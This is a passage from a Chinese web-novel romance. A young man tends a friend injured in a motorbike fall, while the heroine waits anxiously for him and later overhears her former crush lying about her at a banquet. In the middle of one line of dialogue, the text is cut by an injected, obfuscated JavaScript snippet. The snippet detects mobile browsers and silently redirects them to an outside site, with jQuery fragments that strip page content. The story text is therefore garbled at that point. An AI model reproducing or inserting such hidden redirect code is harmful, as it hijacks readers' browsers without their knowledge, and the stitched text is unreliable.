“我马上从微信发给你,你千万保密啊!谁都别提,我只告诉了你。” 他们这个圈子太小,薄正卿生怕一个不注意就传到了他爸妈耳朵里,便只敢告诉关系最好且嘴严的商恪景。还有一点是怕被一起玩机车的朋友知道丢人,毕竟哪有人还没开始飙车,仅是正常行驶就摔成这样的……那也显得他太菜了吧。 “知道了,现在过去,你还有什么需要的全都一起发给我,我路上买了一起带去。” 薄正卿那边很虚伪的假哭了声,“感动啊兄弟。” 商恪景听到他还心情在这贫,心倒是安了不少,看来他伤得还不算重。 - 虞千绾回来时手上提着满满当当两大袋子的川菜,从电梯行至商恪景家门前的那一截路,她走得格外缓慢,气息提了又提,心脏忐忑地扑通扑通直跳。 脚步定在他家门前,虞千绾深呼吸了下,曲指在门上轻叩了三声。 等了半分钟,门内没传来动静,虞千绾更紧张了,换做平常她就直接开门进去了,但现在闹了些别扭,她心头有了些顾虑便没直接开门。 抬手,她又叩了叩门,依旧没动静。 也算是有了个发消息破冰的机会,虞千绾赶忙放下手里提着的餐袋,转而掏出手机点入微信,先是一个不安又示好的兔兔探头表情包: [商恪景你在家嘛?我买了右柏路的那家川菜,但想着你伤口刚好没多久,突然吃爆辣可能肠胃不适应,所以我买的是微辣,买了超级多,中午一起吃嘛?] 消息发出去,依旧好一会儿没动静。 虞千绾这才输入商恪景家门密码,推开门查看情况,只见商恪景的卧室门大敞着,拖鞋随意摆放在玄关处,大概是出门了,应该还挺急的那种,不然他不会连鞋子都没摆正——有商知珩那样一个高度洁癖的哥哥,商恪景虽然没有太重的洁癖,但自小跟在哥哥后面长大,对干净整洁这方面也有着相较于寻常人更甚的要求。 虽有所猜测,虞千绾还是朝里试探性地喊了声:“商恪景?你在家吗?” 无人应答,虞千绾倏地松了口气,幸好商恪景不是在家却不想理她故意不开门。但转瞬,心又悬了起来,好不容易想到的借口落了空,还没亲眼见到他同他说说话…… 感情啊,真令人惆怅,无论爱情还是友情。 虞千绾垂头丧气退出商恪景家,默默给他关好门,转身回到自己家。 昨晚没吃饭,今天起来后又是一阵奔波,虞千绾在川菜馆里等出菜的时候鼻尖萦绕的全是辣香,早饥肠辘辘,但想着等商恪景看到消息一起来吃,她便忍着没先吃,咕噜咕噜喝了两杯白开水垫垫肚子。 - 医院。 商恪景见到薄正卿的时候委实被吓得一惊,他的状态和电话里听起来完全不同,肩膀、胳膊、胸膛、腿上……基本每个部位都有着不轻的擦伤,还流了不少血,衣服好几处都被染上了颜色深浅不一的红。 幸运的是他头盔佩戴得严实,没把脑袋摔出问题,意识格外清醒。身上的伤口看起来怖人但其实都没伤着骨头,皆是外伤。就是脖子被折到了些,他一个劲嚷着说酸痛,医生给他拍了片子说没什么大问题,休养一阵就好。整体算是不幸中的万幸了。 薄正卿飙车的时候不知道惜命,现在出事了知道怕了,一个劲缠着医生问东问西,最后想着在医院有专人照料好得快些,索性让商恪景帮他订了间vip病房——如果他自己出面订病房,消息怕是很快就传到他爸妈耳朵里,只能让商恪景帮忙。 商恪景见他当下没什么大问题,也就睁只眼闭只眼帮他这把,但怕这人不长记性,泠泠扫了眼,“只此一次,下不为例啊。” “绝对不会有下次了。” 薄正卿现在满脑子都是自己突然摔倒的失控画面,当时如若道上还有别的车辆,后果不堪设想,他后怕得要命。从前他还觉得爸妈的那些唠叨很多余,玩机车的人那么多,又不是每个都会出事,现在真轮到自己出了回事,完全老实了。 事情算是暂时安定下来,商恪景紧绷的思绪也舒缓些,身心的疲惫感也重新袭回。 低头,商恪景曲着右手食指在眉心抵转,“但我劝你早些自觉和叔叔阿姨交代,你这伤得养不少日子才能完全结痂长好,你总不可能一直住在医院不回家,你还跟叔叔阿姨住在一起,很容易被发现,到时候被他们发现你下场更惨,坦白从宽抗拒从严啊。” “我也没指望能完全瞒住他们,先瞒几天让伤看着别这么吓人就成,到时候再找个旁的摔跤理由糊弄过去,反正不能让他们发现我是骑机车受的伤。” 薄正卿暗暗庆幸,“幸好我刚回国,他们这阵也不过多管我,放任我在外面玩,想来这几天不回去他们也不会怀疑什么。” 商恪景也是彻底服了薄正卿,他虽然一向知道薄正卿是个话痨,但现在伤成这样话居然还这么多,巴巴说个不停也不补觉,他听都听困了。 知道如若不阻止,薄正卿还会继续说下去,商恪景倦倦打了个哈欠,非常生硬且直白地截断,“你不是一晚上都没怎么睡吗?快睡吧,我也睡一会儿,睡到一半突然过来,困死。” “我劫后余生,脑子正处在活络的时候,睡不着。” “再啰嗦我给叔叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264583|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿姨打电话了。” “你——” 商恪景彻底躺上另一张床,幽幽扫去一眼,作势就要拿起手机。 薄正卿登时变了副谄媚的嘴脸,一秒闭了嘴。 睡前,商恪景打算将手机调个静音,省得好不容易睡着又被吵醒,结果这么一点开,反倒更睡不着了。 商恪景到医院后一直在陪着薄正卿做各种检查,期间好一段时间他都没看手机,医院人多,加之他当时注意力都放在薄正卿的伤上,也没听到手机的消息音。 当下摁开手机,他才看到微信来消息的提醒。 但在微信的提示框下还有个短视频APP的提示框,短视频logo后跟着一串话——【您特别关注的千万万万更新了一条新视频,快来看看吧~】 刚躺下的商恪景突然坐了起来,在点下去前止不住紧张地舔了舔唇。 ……会是她宣布脱粉不再更新与常桦有关视频的消息吗? “你不是要睡觉吗?怎么又起来了?” 薄正卿完全闲不住嘴,见商恪景起来还挺开心,语调掩不住地上扬,“睡不着的话咱俩再聊会儿?” 奈何商恪景压根没理他,全心全意都放在手机里的那条通知上。 齿关不自觉咬紧,呼吸也屏住,商恪景指尖既轻又缓地点到短视频APP的图标上,页面瞬间跳转入短视频APP,自动播放起虞千绾账号最新的那条视频。 网速稍稍慢了一拍,视频尚在加载中,画面是黑的,但是文案显露了出来。 【捕捉到一枚大帅哥/星星眼.emoji】 后面还有一堆tag。 视频也加载完成开始播放,是虞千绾某次去常桦的线下活动拍下的,但那一阵发了太多同个现场的视频剪辑,怕网友觉得来来回回都是同样的妆造和衣服乏味,也怕限流,她便剪好存着等一阵再发。 视频一开始就是虞千绾经过处理变过声的声音,饶是如此也藏不住她语调里的开心和兴奋。 与设想全然想法,商恪景不想再看下去,钝痛的心脏宛若又被剜了一下,他当即切出了软件。 缓了会儿,商恪景彻底心凉地点入微信。 但不可否认,看到虞千绾消息的那一刻,他还是高兴的。 他们之间从来没闹过什么大别扭,两个都比较直给的人遇到矛盾处理起来很积极,有时候就算双方都觉察到不对劲但没说,事后谁主动给个台阶,另个人顺势就下了,很快就重归于好。 可这一次,情况不太一样,如果常桦的事不解决明白,就算当下处理好,心里的坎其实还没过,积攒着日后怕是会爆发更大的矛盾。 而且……他上一秒还看到了那样的一段视频。 虽然商恪景知道虞千绾一直都有提前剪辑好视频定时让平台自动发出的习惯,但她出了这事还选择不取消定时发送的视频,难不成是因为心里还想给常桦机会? 商恪景忍不住地这么想,想着想着,心里又下起了暴雨,覆盖过看到消息刹那的那一点灿烂日光。 可虞千绾主动发了消息试图破冰,他还是给予了回复: [不了] [你吃吧] [我不在家。] 终于等到回复,虞千绾忙不迭点入微信查看。 等待的这段时光里,她脑子里翻滚过很多很多想法,各个都差得不得了,越想越忐忑,她甚至怕商恪景不回复,悬在头上要掉不掉的利剑才最慑人,好在消息音驱散了这种未知的恐慌。 但看完消息后,也没好到哪里去。 虞千绾心绪又陷入了另一种难受。 按照往常他们的相处模式,商恪景肯定会先说,刚刚在干嘛干嘛,才看到消息,然后也不会这么冷淡的就丢下我不在家四个字,会跟她分享说自己要在外面做什么,大概几点回来,或是确定了回来的时间点后再告诉她什么的,更不会加最后那个句号…… 但现在这种情形下,虞千绾也没法再像之前那般直接问他在干嘛,手指在屏幕上敲敲删删,酝酿半天就发出句:[好,那你回来跟我说,我请你出去吃] 这次,商恪景秒回,但却是更为冷淡的——[嗯。] 虞千绾心口彻底闷住,堵塞得不像话。 他们之间从没这样过。 在沙发上思绪乱飞地躺了会儿,虞千绾才又休整情绪给商恪景发了个乖巧等待的可爱表情包。 商恪景没再回。 虞千绾叹了口气,起身拎着川菜去餐桌上吃饭。 等了一个多小时,饭菜已经不热了,温凉温凉的。 虞千绾连把菜放入微波炉里加热的精力都没了,就这么凑合着吃了一顿,反正她也没什么胃口,随便吃点满足身体需求就行。 吃完,虞千绾又窝回沙发上,开始在网上找餐厅。 这样晚上商恪景回来,她就能请他去新餐厅吃饭赔罪了。 结果一直等到晚上九点,远远过了晚饭点,他也没回来。 好几次,虞千绾点入微信想联系他,想问他什么时候回来。 但一进到两人的对话框,看到那句冷淡至极的[嗯。] 她突然就没了勇气,不知该从何开口,又丧丧地滑出页面陷入犹豫中。 虞千绾从没面对过这样的商恪景,有些束手无策。若是能看到他还好些,面对面交涉起来她可以清晰看到他的神情,更明显地感知到他的情绪,偏偏他一天都不在家,完全不给她当面交涉的机会。 明天虞千绾还要去参加周映灵妹妹的成人礼,不像今天这么有空一直待在家,也不知商恪景到底什么时候回来,能不能处理好和他之间的隔阂,若是不能,情绪又隔了一夜、一夜…… 想想就叫人无力,虞千绾索性把家门敞开,如此方便商恪景一回来她就看到。 门开后,电梯的每一次上升下降带起的响声都会牵动她的情绪,使得她忍不住频频探头查看,但电梯没有一次停在他们的楼层。 虞千绾凌晨也没睡好,时至深夜,她有些熬不住,几度在沙发上无意识闭上眼睡着又猛地因些窸窣动静惊醒。 女孩子独居一直把门大敞着还在里面睡觉危险系数有些高,尤其屋外的声控灯灭下的时候,虞千绾从光明望入一片漆黑,免不得会有些害怕,忍不住想会不会突然冒出一个不是商恪景的人。可她又实在想见商恪景,想当面感知感知他的情绪,于是还是强忍着发毛的那点不安用双手撑起眼皮,强迫自己不要睡去。 但随着困意席卷,这样的动作已然没法让虞千绾清醒,时间也一点点流逝,虞千绾感觉自己今晚等不到商恪景了才起身关了门。 可一躺到床上,虞千绾又怕商恪景回来了就这么错过,而他也不知她的等待还当她没心没肺,不想有这样的乌龙,她便又起了身出了趟门,把下午特意给商恪景买的礼物放到了他家的玄关柜上——本来打算吃晚饭给他的,没想到又没见着。 希望他回来看到礼物能开心点。 礼物盒中,虞千绾还特意留了封信。 17. 第 17 章 商恪景本打算在医院补完觉后陪着薄正卿吃顿饭就回家的,哪知道就在饭前扶着薄正卿让他坐起身方便吃饭时,他突然捂着头闭上眼又倒了回去,五官痛苦地皱在一团,有气无力地说自己眼前忽然一阵天旋地转的。 想着可能是躺久了乍然起身所致,商恪景便让他缓了缓,哪知薄正卿不仅没半点缓解,还越躺越说自己头晕,甚至还开始想吐。 商恪景意识到不对劲,立即按了铃喊来医生查看。 医生检查后说有些轻微脑震荡,也算是摔倒后常见的症状,这几天多卧床休息,头部不要剧烈晃动,以薄正卿的情况最多养个一周就差不多好了。 虽然听到问题不大薄正卿松了口气,但一想到会这么晕晕乎乎一周他就痛苦,不情不愿地哀嚎了声,“啊……一周啊,不能打点滴或者吃药早点好吗?” “不能,一周左右好已经是用药的结果了。” 医生果决地拒了后强调,“我说的一周只是保守估计,具体还是要看病人自身的体质,有些病人两三天就恢复好了,而且后面逐天症状会减轻舒服些,不会像今天这么难受。” “还有这个啊。” 医生隔空指了指薄正卿放在枕头边的手机,“这几天手机电脑平板这类电子产品都少玩,不然你的头会更晕,恢复的也慢。” 这句话杀伤力极大,薄正卿霎时就蔫吧了,发出了更为崩溃但又无力的哀嚎:“啊——” 本来住院休养就够无聊了,结果现在连手机都得少玩,他哪里是这种闲得住的人啊! 商恪景看着薄正卿又惨又好笑的样子,唇角闷不住地上扬,他借着转头和医生讲话掩住了些损友的笑,“行,谢谢医生啊,麻烦您了。” 医生回以微微颔首,“不客气,有什么问题随时喊我。” 商恪景礼貌笑着点了点头。 医生走后,商恪景直接把薄正卿的手机拿了过来,放在他在床上够不到的位置。 “喂,商,嘶——” 薄正卿下意识想护住自己的手机,但手一抬扯着伤口痛,一激动脑子里也仿佛有无数根神经在跳,也痛得不得了,气焰瞬间就散了个彻底。 “都这样了还想玩呢?消停一天吧。” 商恪景没顺着薄正卿的意,他反倒觉得这次让薄正卿出点小事故长长记性挺好的。 许是因为家里人一直在安全这方面管得格外严,薄正卿生出了截然相反的叛逆心思,成年后出国的这几年里不仅将父母不让玩的那些极限项目全都玩个遍,还玩了一堆商恪景听都没听过的极限运动。前者倒没什么,蹦极过山车这种顶多是刺激些,出意外的概率极低极低,但后者不同,商恪景看过薄正卿发来的视频,凡有一点点岔子就是尸骨无存的下场,危险系数委实太大。 所以商恪景觉得薄正卿这次摔伤并不完全是坏事,用一些只需熬熬时间难受一阵的擦伤让他清晰意识到生命的可贵,算是比较小的成本了。 知道商恪景在关心他,薄正卿老实没再索要手机,“那你在这陪我说说话呗,不然我一个人在这待着也太无聊了,肯定会忍不住玩手机的。” vip病房设计和套房差不多,面积挺大,东西也都应有尽有,住起来还凑合,商恪景便联系了司机去他附近的别墅里拿了身换洗的衣服送过来,自己留在了医院陪着薄正卿,薄正卿老说头晕,他也不放心走。另方面,凌晨的难熬在历历在目,商恪景也不想深夜回家再经历一遭,薄正卿的话多在这种时候挺好,能替他扫去脑子里一静下来就浮现出的混乱念头。 身边一直有人说话,脑子静不下来,那些念头便不会过多涌出。 - 翌日。 虞千绾醒来第一件事就是查看手机,倒是有条新消息,可惜是来自虞昭音的。 姐姐叮嘱她别忘了今天要去参加周映霜的成人礼。 消息栏里依旧没有商恪景的消息。 两人的聊天框因为太久没有对话,已然被一堆群聊压了下去。 自从上大学,虞千绾就莫名其妙地加了好些群,学校大群、院系群、专业群、班群、社团群、竞赛群、小组群……平常搁置着完全没用,但又怕时不时用着不好退,索性就免打扰这么放着。 三年过去,虞千绾已然适应每天Q.Q微信一打开就是固定的那一批人在不同的群里聊天日常,但在今天,她觉得这些群聊格外碍眼,惹得她向下翻找和商恪景的聊天框都有些费劲。 索性,虞千绾给商恪景设置了一个微信置顶,这样点入微信就能看到,防止等了半天还不小心错过了他的消息。 但他怎么还没联系她? 是他一夜都没回来看到她留给他的东西吗? 还是他仍在气头上不想理会她?她的信写得还不够诚恳嘛? 对着天花板长叹口气,虞千绾纠结地在床上翻来滚去,最终实在想得到个答案,她便起了身跟做贼般偷偷把家门打开再偷偷打开了商恪景家门查看情况。 幸好…… 礼物盒还安静摆放着没有拆开过的痕迹,拖鞋也一如昨天。 他确实一夜没回来。 但他干嘛去了?怎么这么久不回来? 难不成是不想见她所以回别墅去住了? 一个担心刚落,另个忧虑又起。 虞千绾烦到不行,也没辙到不行,有些崩溃地抓着头发叫了两声。 但很快,争分夺秒想和商恪景回归从前状态的虞千绾休整好自己又出发了。 他们爸妈在他们成年后给他们买了独立出家的别墅当做成人礼,他俩的别墅也买在一处,但别墅和别墅之间有些距离,不似校门口的房子挨得那么近开门就能去到对方家里。 虞千绾现在去往的地方就是他们的别墅所在地,北河墅。 一方面,她想着无论是瞎想还是真的,反正行动起来总比待在家里什么都不做的要好。 另方面,她其实还挺希望商恪景在北河墅的住处,这样她就能见到他跟他好好聊一聊了。 奈何又是扑了个空,商恪景北河墅的家里依旧空荡荡的一片,并没人在,但起码证明他是真的有事,而不是在刻意躲她。 虞千绾本想给商恪景发消息的,但她凌晨才睡,醒得也迟,从校门口赶来北河墅的路程也不短,后续还得化妆穿礼服再乘车去往周映霜的成人礼举办地,没多少空闲时间了,现在就算联系到商恪景也没什么时间交谈,匆忙且浮于表面的对话不是她想要的,她只得先暂时搁置,回到自己在北河墅的住处里收拾好自己,待到彻底弄完了成人礼的事再和商恪景联系。 这两天的情绪乱糟糟,虞千绾都有些笑不出来,但要去参加别人的成人礼,面上总不能一直寡淡着,怎么也得笑着客套祝福几句。 坐在车上临到宴会厅前,虞千绾对着车内镜练习了一会儿自然笑的模样,否则被旁人瞧见又要联想出一堆传闻,认为她是和周映灵不和才挂脸。 说起周映灵,她们也是自小认识的关系,但虞千绾不知道为什么周映灵对她总有些敌意,起初她还想和周映灵聊开搞清楚问题所在,可后来频频感知到周映灵的恶意,她也没那平白受委屈的道理没再挽回,两人的关系就这么彻底坏了下去。 不过高中毕业后,她们一个留在国内读大学,一个出国留学,至今三年多的时间都没再见过了,只是偶尔会从某位朋友的口中得知些许说新不新说旧不旧的消息。 但她俩不和的消息在朋友之间早不是秘密,甚至达到了一种朋友在其中一个人面前都不敢提另个人好消息的程度,如若提也只说些不好的,否则就像是在夸好友的敌人。 现在想想,虞千绾就觉得莫名,还有些荒谬的好笑。周映灵不知什么时候起对她有种无端的厌恶,她至今也没寻到源头。 窗外风景飞速闪过,五星级酒店的高耸建筑逐渐映入眼帘,就快要到达目的地。 虞千绾拿出手机隔窗拍了张照片发给虞昭音,老实向姐姐报备,示意自己准时到达。 虞昭音那边的回复依旧简约粗暴。 一个ok的emoji和一个转账前后而至。 虞千绾情绪一瞬间变得心花怒放,笑容极其灿烂地绽开,再不用对着镜子练习。毫不客气地收下转账后,她回了个亲亲的表情包过去。 车辆缓缓停下,礼宾员从外拉开车门,虞千绾将手机放回包包里,指间微微提着些裙料款款下了车。 进到宴会厅,虞千绾视线梭巡,想找到熟人结伴。 然而就这么猝不及防的,一个感性上意外理性上并不意外、熟到不能再熟的熟人冷不丁闯入她的视野——是常桦。 周家精心大办了小女儿的成人礼,砸了很多钱进去,但并没有大肆邀请宾客。毕竟家里是开娱乐公司的,稍有些风吹草动就容易传到网上,周家人并不想在互联网上过多暴露隐私,便只邀请了关联密切些的家人、朋友以及事业上接触较多的合作伙伴。 反正无论哪一种,常桦都不可能是邀请对象。 唯一的可能就是,他是周映灵特意邀请来的。 不知是不是因为事先从商恪景那得知过常桦和周映灵的暧昧,心里对常桦的印象也急转直下,此刻亲眼看到常桦在这,虞千绾惊了下后最先涌上的竟不是负面情绪,而是终于要认清这个人结束这段不清不楚关系的解脱释然感。 “千绾,你一个人吗?” 肩膀突然被人从侧拍了下,虞千绾下意识转头看去,瞧见一位大半年未见的朋友褚曼青正在莞尔笑着看着她,她当即拉住朋友的手,微偏着脑袋,声调惊喜还带着些撒娇的意味,“对啊,我刚刚还在满场找人想看看有没有人能一起呢,看到你真是太好了。” “那太好了,我也一个人来的,咱们一起吧。” “好呀。” 两人都是被家里人使唤来参加宴会的,长辈们事多,时间宝贵,不像她们悠闲,而且就是个周家小辈的成人礼,也没到能让长辈们特意赶过来赴宴的程度。家里人也不指望她们过来应酬交际,就代替他们过来露个面赠个礼。两人也不想和一群人挤在一块客套,所以默契找了个清净地悠闲地吃吃喝喝聊聊天。 她们这个圈子里的朋友大多都会在高中后选择出国留学,有些人则是初中高中就直接出国了,虞千绾原先被家人规划的路线也是得出国的,但她不想。 一方面她没有在商界大杀四方的伟大志向,也不会狗血的想着去同姐姐争夺家产,她就想当一条只需要努力一点点的小咸鱼,能简单为姐姐打打下手就很棒了。 另方面她很恋家,也习惯了京市这片土地,不想去往异国他乡一待就是那么多年。爱吃东西的她也不喜欢国外的饮食,时不时吃一顿还行,可若是日日吃,她怕是会崩溃。 彼时经历了好一番拉扯,虞千绾爸妈才同意她不出国,后来高考结束的暑假,周围朋友们纷纷离开京市去往不同的国度,朋友间的联系也因为距离和时差逐渐变少。 褚曼青也是出国留学的一员,在高中时,虞千绾与她的关系是中等偏上的那种,挺不错的关系。这些年间联系虽然少了些,但时不时的会有,也经常在朋友圈点赞评论,彼此还惦记着对方。故以今日见到,两人的话匣子完全打开,在宴会厅中开辟出了自己的一方小天地,沉浸在其中聊得不亦乐乎。 褚曼青和周映灵在一个国家留学,所以知道不少周映灵在国外的新动态,跟虞千绾聊开心扉后,褚曼青声音倏地压下了些,小声问虞千绾:“之前有段时间,你家不是在网上火了一阵嘛?那个短视频,你还记得吗?” “当然记得啦,怎么了?” “我记得后来传起了你和一个男网红的事,好像还是个小明星?说你一直是他站姐,还给他花了不少钱,真的假的?” 褚曼青虽然嘴上在问真的假的,但那眼神和话腔明显是知道了些什么。 虞千绾一瞬间有些失语,真是好事不出门坏事传千里。 她无奈叹了口气笑揶:“你们在国外得知消息的速度还这么快啊?” “那看来是真的了。” 褚曼青朝虞千绾挤了挤眼,“还不都是易辉卓嘛,他比较关注你的消息,正好他看到这事的时候我们正在一个地方聚会,就都知道了。” 易辉卓,出国前追求了虞千绾好些年,算是追求她时间最久且最死皮赖脸的一位,出国后还对她念念不忘老给她发消息。在一次酒后略微失了分寸给虞千绾打电话哭诉自己有多喜欢她,拒绝了他太多次的虞千绾实在受不了这样冷不丁来一次的纠缠,直接把他拉黑了,两人之间的联系才彻底断开。 “当时周映灵也在,就她跟易辉卓扒那个男网红的信息扒的最起劲,扒了半天还说你眼光差,挑了个这样的货色,结果今天那人被她领在身边。” 褚曼青和周映灵的关系很微妙,说好不好说差不差,总归能维持个面上的礼貌,但因为和虞千绾关系好,且知晓周映灵之前怎么针对虞千绾的,褚曼青心里并不喜欢周映灵,心上的天平狠狠偏向虞千绾这边,忿忿道:“那个男网红是不是被她撬走了?” 虞千绾托腮,笑叹了声,“不得不说,她的初吐槽还挺准。” “我瞧着也是,那么轻易就被撬走,自身一点都不坚定。” 褚曼青几乎在自己的想象中确定了周映灵插足虞千绾与常桦感情的事。 虞千绾看着褚曼青为她打抱不平的愤慨样,摇头笑了笑,“其实也没有,我跟他没在一起过,只是有过暧昧。” “那也不是好东西!” 虞千绾重重点头赞同,就是心口又有些发闷了,她完全不知道常桦和周映灵是什么时候开始的,也不知道这么多年常桦究竟是怎么看她的。 毕竟是第一次喜欢一个人,最后却搞成这副样子,她还是很想知道个真相给这段关系画上句号的。 “诶。” 虞千绾扭头瞟了眼四周,只模糊辨认出远处穿着拖尾的礼服和朋友聊天的周映霜,并没发现周映灵和常桦的身影,“你是来的时候遇到他俩在一起了吗?我来的时候只看到常桦独自在跟一个我不认识的人讲话,到现在我还没见到过周映灵。” “对,我来的早一些,那会儿他俩待在一块。而且我感觉周映灵是故意的,她就是知道我们俩关系好,所以故意拉着那个男的过来跟我打招呼,还明里暗里说这个男的和你有关系,你看到可能会不高兴,不然我根本不知道那个男的就是之前网上的那个男网红。” 虞千绾哂笑,“那估计她后面会主动带着常桦来我面前,否则枉费了她这一番周折。” “往好处想,她这也算是做了个好事,让你远离渣男。” 在这事前,虞千绾对常桦的所有形容都是温润谦卑,从没想到短短时间内形容词急转,变成“这种货色”“不是好东西”“渣男”,不禁让她有些割裂感,就好像她认识这么多年的常桦并不是常桦一般。 “那男的以后就知道后悔了,我瞧着周映灵不像喜欢他的样子,他在周映灵面前就跟下属在老板面前似的,点头哈腰的,生怕周映灵不高兴。” 褚曼青竖起一根手指头,“我保证,绝对不出一个月,他就会被周映灵踹掉。周映灵这些年在国外谈的那些对象完全不是这个常桦能比的类型,白嫩白嫩的看着太弱了,而且就是个小网红,玩玩得了,咱们怎么可能跟这样的人结婚。” 虞千绾越听越感觉自己没出息,讪讪尬笑了声。 …… 聊天又过了几个话题。 褚曼青忽然对着虞千绾身后抬了抬下颚示意,“被你说准了,还真来了。” 虞千绾扭头看去,只见周映灵和常桦在朝她们这边走过来,她和常桦的视线就这么乍然隔空对上,常桦一瞬就错开了视线。 虽然隔着一段距离,但虞千绾感觉到常桦的慌乱,她端坐着身形,故作不经意地转回头,拿起饮料轻抿了口,思绪和心脏却乱得要命。 背对着他们,虞千绾看不到他们距离她还有多远的距离,只闻坐在她对面正好能看到他们的褚曼青匪夷所思地咕哝声:“诶?居然不是来找你的。” 虞千绾又扭过头去看,这才发现他们原来是去往的庭院的方向,庭院入口就在距离她们不远处。 捏着杯壁的手一松又是一紧,好烦……为什么还不来找她?她想彻彻底底看清楚常桦同时面对她们俩时的嘴脸,想看看现在的常桦究竟多么的让她陌生。 就在虞千绾刚压下这股烦闷时,手机屏幕亮起。 还是通过短信发来的。 ——[从南边的小门来庭院,看看自己的眼光有多差。] 一串完全没备注的号码,虞千绾却瞬间确定了来信人,认识但关系差到连个微信都没加的人也就只有她了。 虞千绾登时坐立难安起来。 恰好,又有两个结伴的老朋友发现了她们,过来搭话怀旧。虞千绾趁机起了身,借口说去趟卫生间同大家分开,独自寻找了出来。 庭院估摸有两个入口,不然周映灵也不会在短信里特别提说南边的小门,但很糟糕,虞千绾分不清东西南北,第一次来这家酒店对这里也不熟,不知道另道门在哪,还是通过询问服务生才终于寻到。 天色渐晚,室外的灯已经亮起。 自小门延伸至庭院里的那截小道估摸着没太多人走,灯光并不亮堂,只在路两边每隔一两米设有盏昏黄的落地小灯晕开浅色的光圈,装饰性大于实用性,而且道路还不是连接起来的,而是一节一节的,就像是无数个台阶拼接而成,每两块地砖之间是湿润的泥土,其上有些绿草和小花。 刚从灯光明亮的宴会厅过来,虞千绾的眼睛还没适应此处的昏暗,加之穿着礼服和高跟鞋在这样的道路上行动略有不便,她便走得格外谨慎缓慢。 渐渐远离宴会厅,周遭的声音变得寂寥,只有些不知名虫子的叫声此起彼伏地从矮丛里传出。 小道尽头便是给客人观赏、休憩用的庭院,光线很足。就在逐 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周映灵双手环胸,本和常桦笑吟吟的神情骤变为皮笑肉不笑的姿态,食指抵在常桦胸膛把他推着往后了几步,声调微抬,“你刚刚看到虞千绾就躲开是什么意思?怕她看到我们俩在一起?” 常桦背对着小道,完全不知虞千绾的到来,更不知自己在无意中被周映灵推着靠近了她,声音更为清晰的落入虞千绾耳朵里,“怎么可能?那有什么好怕的?只是我们本来就要来庭院啊,我依着正常路线走而已。” “常桦,我没虞千绾那么单纯好哄,别拿这种话糊弄我。” 周映灵收回手,似有些嫌脏的顺手捻住一旁的小树叶子磨了磨指腹,“我既然说出来,就说明我确定你在见到虞千绾的时候心慌了,你要做的只是回答我的问题。” 一贯的话术在周映灵面前毫无用处,常桦一时间沉默住了,说不出话来。 “怎么?还惦记着虞千绾呢?喜欢她?想跟她在一起?” “怎么会映灵,我跟你说过的,我不喜欢她,和她什么关系都没有。” 熟悉的声音,陌生的话语。 虞千绾瞳孔猛地颤了颤,僵硬麻木感自足底迅速攀涌,遍布四肢百骸。 “什么关系都没有?” 周映灵悠悠反问:“如果什么关系都没有,你直播的时候她为什么去给你打赏那么多钱,为什么她天天经营宣传你的账号,为什么又去你的线下支持?” “映灵……” 常桦声音低沉了下去,他一旦如此说话,声线仿佛天然有一种无可奈何的破碎感,“我真的和虞千绾没有任何感情上的纠缠,但你知道的,她是嘉澍集团的接班人,随便一句话就能将我彻底在娱乐圈封杀,我家世普通想在娱乐圈闯荡下去没有办法,只能对她阳奉阴违。但是你想,如果我真的喜欢她,我早就可以和她在一起了,那她一定会助我在娱乐圈打拼,我又何必到现在还这样在娱乐圈查无此人呢?” “这些话我本来不想和你说的,可不想你因为传言乱想伤了心也不想你误解我。” “映灵,你对这样的我很失望吗?抱歉,如果你很介意我曾经碍于权势对虞千绾敢怒不敢言的话,我以后一定不会再出现在你的面前,只会……在背后默默喜欢你。” ——【“你对这样的我很失望吗?”】 又是这句话,虞千绾嗓子眼突然漫起一阵生理性反胃,险些没抑住干呕出声。 眼圈被呕意逼红,毫无想象中知晓时的难过和心寒,更多的是恶心,恶心自己居然跟这么一个人拉拉扯扯了这么多年。 “我说了,你只需要回答我的问题,别跟我装。” 周映灵完全不吃常桦这套,听着就烦,“我再问你最后一遍,你这么多年,从来没喜欢过虞千绾?一点都没有?” “没有。” 常桦回答的异常果决,甚至为了在周映灵面前表忠心还又补充道:“这么多年都是虞千绾在缠着我,我很烦但没有办法,她不仅用嘉澍集团压我,还给我经纪人压力,搞得我经纪人都来找我很多次,警告我不许违了虞千绾的意。但在遇到你以后我已经和她说清楚了,以后不会再有任何纠葛的。” “哦?” 周映灵挑了挑眉,顺着他的话问:“之前不敢断,怕她封杀你,现在怎么敢了?” “因为我喜欢你,我想和你交往,不能让你受这种委屈。” 常桦一脸情深的样子,看起来跟真的似的。 “是嘛。” 周映灵突然笑的很灿烂,“我还以为你是觉得做我男朋友后不管虞千绾怎么对你我都会帮你拦下处理好呢。” “怎么会?我的事情我会处理好,我们之间只是感情,不掺杂任何利益。” “确实。” 周映灵一本正经点了点头,“我也是这么想,感情就得纯粹,不能掺杂一点点旁的东西,那样显得好像是为利而来,所以以后,我不会帮你一点的,你的事业还得靠你自己。” 常桦表情有一瞬间的僵愣,虽然很快调整过来可那笑容明显有些勉强,“……当然。” “行,那你等着被封杀吧。” 虞千绾的声音完全不设防地从身后传来,常桦眼睛瞪大,表情管理失了控,胳膊漫起鸡皮疙瘩,脑袋猛地朝后一转,真就对上了一脸平淡站在那儿的虞千绾,脸色煞白下去,唇瓣翕动却没发出声。 周映灵掩唇故作惊讶,“呀,原来常桦说的是真的呀,虞千绾你还真是一直拿封杀威胁他。” “对。” 虞千绾只觉得现在跟他扯什么这些年她对他的付出,她对他的爱意很愚蠢,除了显得自己很傻很可笑外没有任何用处,于是她直接顺着常桦那些离谱的胡话往下,“不仅打算封杀他在娱乐圈,还打算让他滚出京市。” 常桦立在原地一动不动,懦弱又无能。 虞千绾忽而笑了声,视线掠过他,看向周映灵,“你确定到时候不帮帮你男朋友?” “NONONO。” 周映灵晃了晃手指,“我跟他毫无关系,看场戏罢了。” 听到这话的常桦震惊看向周映灵,宛若大梦初醒,意识到这一切都是周映灵做的局。 他上前两步就挨近虞千绾,“千绾,我——” 眼前忽然一道劲风刮过,视线也晃了下。 “啪——”的一声。 